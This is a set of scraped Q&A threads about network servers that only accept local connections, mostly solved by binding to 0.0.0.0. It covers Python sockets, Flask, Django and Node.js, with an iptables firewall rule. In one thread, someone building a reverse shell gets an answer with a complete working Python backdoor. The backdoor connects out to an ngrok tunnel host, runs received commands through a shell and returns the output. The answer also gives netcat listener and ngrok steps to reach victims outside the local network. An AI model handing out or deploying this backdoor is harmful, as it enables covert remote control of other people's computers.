contents of serverside.py
import socket
s = socket.socket()
host = "127.0.0.1"
port = 9000
s.bind((host, port))
s.listen(5)
while True:
c, addr = s.accept()
print 'Got connection from', addr
c.send('Thank you for connecting')
c.close()
now when i open cmd and type
telnet 127.0.0.1 9000
The server works perfectly fine.
cmd shows display - Thank you for connecting
and shell shows display - Got connection from ('127.0.0.1', 54578)
But when I connect this over The WAN and type the same command on cmd from another computer while server on my computer is running fine it shows connection failed.
Why is this happening ???
Edit : I am a begginer in networking. So plz help me understand what's going wrong.
Because you're binding to 127.0.0.1 instead of an address on an external interface. Only the local computer can connect to this address, which is why it's called the "loopback address".
Related
This question already has answers here:
Configure Flask dev server to be visible across the network
(17 answers)
Closed 1 year ago.
I have flask running in a daemon on my Raspi.
#app.route("/cmd",methods = ['POST', 'GET'])
def cmd():
if request.method == 'GET':
order_obj = request.args.to_dict(flat=True)
else:
order_obj = request.get_json(force=True)
response = jsonify(controller_obj.act_on_order(order_obj))
response.headers.add('Access-Control-Allow-Origin', '*')
return response
app.run(port=8087, debug=config.DEBUG, use_reloader=False)
When I run this app, I can see it is listening on port 8087:
pi#brs-tv:~/brs $ sudo netstat -lptu
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 localhost:8087 0.0.0.0:* LISTEN 4133/python
When I telnet to the port locally using localhost, it works fine.
pi#brs-tv:~/brs $ telnet localhost 8087
Trying ::1...
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
GET /cmd
But when I telnet locally to its local address, I get connection refused:
pi#brs-tv:~/brs $ telnet brs-tv.local 8087
Trying 127.0.1.1...
telnet: Unable to connect to remote host: Connection refused
Is this a Rpi thing, or a Flask thing?
It turns out it is a Flask thing.
host (Optional[str]) – the hostname to listen on. Set this to '0.0.0.0' to have the server available externally as well. Defaults to
'127.0.0.1' or the host in the SERVER_NAME config variable if present.
So, fixing my Flask run call:
app.run(host="0.0.0.0", port=config.CONTROLLERS[whoami]["port"],
debug=config.DEBUG, use_reloader=False)
Now, my port is listening to the rest of the world:
pi#brs-tv:~ $ sudo netstat -lptu
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:8087 0.0.0.0:* LISTEN 1213/python
I can also now connect from another machine:
Ricos-vt220:~ % telnet brs-tv.local 8087
Trying fe80::3d7:b64:bb26:14e0...
telnet: connect to address fe80::3d7:b64:bb26:14e0: Connection refused
Trying 192.168.86.29...
Connected to brs-tv.local.
Escape character is '^]'.
GET /cmd
i create a reverse shell with python and i have a problem with my router in port forwarding.
I don't have any static ip.
In router:
Protocol: TCP
Lochealipaddr: 192.168.1.10
Localport: 8090
Wanipaddr: ---
Wanport: 8090
state: enable
in my python script i cant bind on my wan ip address
ST.bind((Wanipaddr, 8090))
if i binding on localipaddr my reverse shell client can't connect to the server
whats my problem solution??
thanks
if you want to use your backdoor to receive connections outside LAN use ngrok
example:
1- lets listen on port 4444:
nc -lp 4444
2- after ngrok is installed you will run this command:
ngrok tcp 444
3- now find the ngrok address
ngrok address
4- use your ngrok address to the client connect
# backdoor.py
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
HOST = '0.tcp.ngrok.io'
PORT = 12969
s.connect((HOST, PORT))
while True:
conn = s.recv(2048).decode()
if conn[:3] == 'cd ':
os.chdir(conn[3:])
cmd = ''
else:
proc = subprocess.Popen(conn, stdout=subprocess.PIPE,stderr=subprocess.PIPE, stdin=subprocess.DEVNULL, shell=True)
stdout, stderr = proc.communicate()
cmd = stdout+stderr
cmd += str('\n'+os.getcwd()).encode()
s.send(cmd)
5- now you can connect with anyone outside your network
shell
It sounds like your router is configured to forward requests from the internet on port 8090 to your host (assuming you have the correct LAN IP). Perhaps just try binding to 0.0.0.0.
From wikipedia, it fits this context:
A way to specify "any IPv4 address at all". It is used in this way when configuring servers (i.e. when binding listening sockets).
In other words, you're telling your server to essentially listen on every available network interface (on that port).
Tried running it from local host but in cmd prompt its fine as i see "Quit the server with CTRL-BREAK.". But not connecting in browser. Also tried telnet to connect to that port, but failed. what could be the reason? can't be a proxy as even telnet is not workiing
Add the port number, probably 8000, after the url in the browser: http://127.0.0.1:8000.
I am using Pycharm and testing on local dev server. All goes well until I try to connect to the local dev server from another laptop (windows).
My dev server is 127.0.0.1:8000 on a mac. On the second computer, I am able to ping the server's LAN ip 10.0.2.2 successfully. But enter 10.0.2.2:8000 in browser address bar doesn't connect to anything.
telnet 10.0.2.2 8000 in command line also fails.
How can I do this?
Listen to address 0.0.0.0 instead of 127.0.0.1
This means it will listen to all, you can listen to specific IP but this would work on both local and network.
For beginner like me, screenshot can help.
If leaving Host field to be empty, it will default to 127.0.0.1, which is not we want in such situation.
I installed node.js on a hosted Apache server. The simple server I placed on the server runs fine, but when I go to the website I cannot see the website.
I initially tested this on my local machine and it works fine, but I need this on a production website. How can I do this.
My Node.js code
[code]
// Load the net module to create a tcp server.
var net = require('net');
// Setup a tcp server
var server = net.createServer(function (socket) {
// Every time someone connects, tell them hello and then close the connection.
socket.addListener("connect", function () {
sys.puts("Connection from " + socket.remoteAddress);
socket.end("Hello World\n");
});
});
// Fire up the server bound to port 7000 on localhost
server.listen(1337, "localhost");
[/code]
// Put a friendly message on the terminal
console.log("TCP server listening on port 1337 at localhost.");
Then I run node test.js
Response : TCP server listening on port 1337 at localhost.
Then I go to www.mywebsite.com:1337
Oops! Google Chrome could not connect to www.mywebsite.com:1337
So I tried using the actual IP
server.listen(1337, "xx.xx.xx.xx");
And the URL
server.listen(1337, "http://mywebsite.com");
// this actually broke the server immediatly
So how can I do this?
You will need a firewall rule to allow incoming traffic.
iptables -A INPUT -p tcp --dport 1337 -j ACCEPT
and do not bind to localhost, but on the port only:
server.listen(1337/*, "localhost"*/);
http://nodejs.org/api/net.html#net_server_listen_port_host_backlog_callback
EDIT: This comments out the host, so your server will listen on all adresses (this is the same as:)
server.listen(1337);
If you still encounter problems, this is most likely a firewall problem.